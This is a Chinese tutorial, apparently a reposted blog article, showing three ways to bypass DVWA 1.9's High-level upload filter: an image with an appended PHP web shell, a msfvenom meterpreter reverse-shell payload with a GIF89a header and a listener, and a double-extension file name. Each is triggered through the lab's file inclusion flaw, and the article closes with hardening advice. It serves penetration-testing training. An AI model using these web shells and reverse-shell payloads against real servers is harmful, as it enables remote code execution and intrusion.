DVWA1.9 High级文件上传漏洞实战:3种绕过技巧与详细复现步骤
DVWA1.9 High级文件上传漏洞实战3种绕过技巧与详细复现步骤在网络安全领域文件上传漏洞一直是渗透测试中的重点研究对象。DVWADamn Vulnerable Web Application作为一款专为安全测试设计的靶场环境其High级别的文件上传漏洞防护机制尤为值得深入探讨。本文将分享三种针对DVWA1.9 High级别文件上传漏洞的实战绕过技巧每种方法都配有详细的复现步骤和原理分析。1. 理解High级文件上传防护机制DVWA1.9 High级别的文件上传模块采用了双重验证机制后缀名验证仅接受.jpg、.jpeg、.png三种图片格式文件头检测通过getimagesize()函数验证文件内容是否为有效图片这种组合防护看似严密但仍存在可被利用的漏洞点。以下是常见的验证逻辑缺陷// 模拟High级验证逻辑 $allowed_extensions [jpg, jpeg, png]; $file_extension strtolower(pathinfo($_FILES[file][name], PATHINFO_EXTENSION)); if(!in_array($file_extension, $allowed_extensions)) { die(只允许上传JPG/PNG图片); } $image_info getimagesize($_FILES[file][tmp_name]); if($image_info false) { die(上传的不是有效图片); }2. 图片木马合并绕过技术2.1 原理分析这种方法利用图片文件可以包含额外数据而不影响正常显示的特性将PHP木马代码附加到合法图片文件末尾。技术要点图片文件格式允许尾部附加数据服务器仅验证文件头不检查文件尾部内容需要配合其他漏洞实现代码执行2.2 详细操作步骤准备素材文件合法图片文件example.pngPHP木马文件shell.php内容?php system($_GET[cmd]);?合并文件Windows系统copy /b example.png shell.php merged.png上传合并后的文件通过DVWA文件上传页面提交merged.png系统会成功接受该文件利用文件包含漏洞执行代码 由于直接访问.png文件不会执行PHP代码需要配合DVWA的Low级文件包含漏洞http://靶场地址/vulnerabilities/fi/?page../../hackable/uploads/merged.pngcmdwhoami注意此方法需要服务器同时存在文件包含漏洞才能最终实现代码执行3. 带GIF89a头部的PHP图片木马3.1 技术原理通过构造特殊的文件内容使文件同时满足文件头部包含有效的图片标识如GIF89a文件主体包含可执行的PHP代码3.2 使用msfvenom生成特制木马生成基础PHP反向shellmsfvenom -p php/meterpreter/reverse_tcp LHOST攻击者IP LPORT4444 -f raw shell.php添加GIF头部echo GIF89a; | cat - shell.php shell.gif文件上传将shell.gif上传到DVWA由于文件头部包含GIF标识会通过getimagesize()验证建立监听msfconsole use exploit/multi/handler set payload php/meterpreter/reverse_tcp set LHOST 攻击者IP set LPORT 4444 exploit触发执行 通过文件包含漏洞访问上传的文件http://靶场地址/vulnerabilities/fi/?page../../hackable/uploads/shell.gif3.3 技术细节对比方法特性图片合并法GIF头部注入法文件大小较大原图木马较小仅添加头部隐蔽性较高中等依赖其他漏洞需要文件包含需要文件包含适用场景已有合法图片需生成新文件4. 文件扩展名双重欺骗技术4.1 技术原理利用解析差异构造特殊文件名如shell.php.jpgshell.php%00.jpgshell.php\x00.jpg在DVWA1.9 High级别中最有效的方式是结合Apache的解析特性。4.2 具体实施步骤创建测试文件?php // 文件名test.php.jpg phpinfo(); ?上传文件通过DVWA上传界面提交test.php.jpg系统会接受该文件利用解析差异 某些Apache配置会从左向右解析扩展名执行顺序为.php → .jpg → 最终执行.php逻辑直接访问http://靶场地址/hackable/uploads/test.php.jpg提示这种方法成功率取决于服务器配置在默认DVWA环境中可能需要配合.htaccess文件使用5. 防御建议与安全加固针对本文介绍的绕过技术提供以下防护方案文件内容验证使用exif_imagetype()代替getimagesize()检查文件幻数(Magic Number)文件重命名策略$new_filename md5(uniqid())...$valid_extension;隔离存储将上传文件存放在非Web目录通过脚本代理访问上传文件权限控制chmod -R 644 uploads/ chown -R www-data:www-data uploads/Web服务器配置FilesMatch \.(php|phar|phtml)$ Deny from all /FilesMatch在实际渗透测试过程中发现最有效的防御是组合多种验证方式。某次企业级测试中我们遇到一个系统采用了三重验证机制文件扩展名白名单、内容类型检查和二次渲染处理这种深度防御方案成功阻断了所有常规绕过尝试。
本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.coloradmin.cn/o/2516656.html
如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈,一经查实,立即删除!